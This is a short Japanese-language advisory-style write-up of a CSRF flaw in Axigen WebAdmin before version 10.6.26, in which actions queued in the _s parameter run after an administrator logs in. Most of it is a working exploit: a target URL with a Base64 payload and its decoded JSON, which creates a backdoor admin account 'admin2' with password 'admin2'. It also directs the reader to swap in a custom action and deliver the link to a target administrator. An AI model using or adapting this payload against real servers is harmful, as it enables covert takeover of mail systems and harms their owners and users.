
Axigen WebAdmin CSRF脆弱性
Axigen WebAdmin インターフェースにおける重要な状態変更アクションは、GET リクエスト を介してアクセス可能です。_h トークンは直接的な CSRF から保護しますが、アプリケーションはユーザーが認証した直後に _s (ブレッドクラム) パラメータを介してキューイングされたリクエストを処理します。
攻撃者は、Base64 でエンコードされたペイロードを含む URL を _s パラメータに仕込むことができます。管理者がこのリンクをクリックしてログインプロセスを完了すると、キューイングされたアクションが自動的にそのコンテキスト内で実行されます。
影響を受けるバージョン: < 10.6.26
詳細については、Axigen Knowledge Base を参照してください。
ターゲット URL:
https://{axigen-domain}:9443/?_h=invalid&_s=eyJwYWdlIjoiYXVzciIsInBhcmFtcyI6eyJhY3Rpb24iOiJhZGQiLCAidXNlcm5hbWVfaW5wdXQiOiJhZG1pbjIiLCAicGFzc3dvcmRfaW5wdXQiOiJhZG1pbjIiLCAiZGlzcGxheV9uYW1lX2lucHV0IjoiYWRtaW4yIn19
デコードされたペイロード (_s パラメータ):
{"page":"ausr","params":{"action":"add", "username_input":"admin2", "password_input":"admin2", "display_name_input":"admin2"}}
_s パラメータの値を置き換え、対象の管理者に配信します。admin2 アカウントが作成されます(またはカスタムアクションが実行されます)。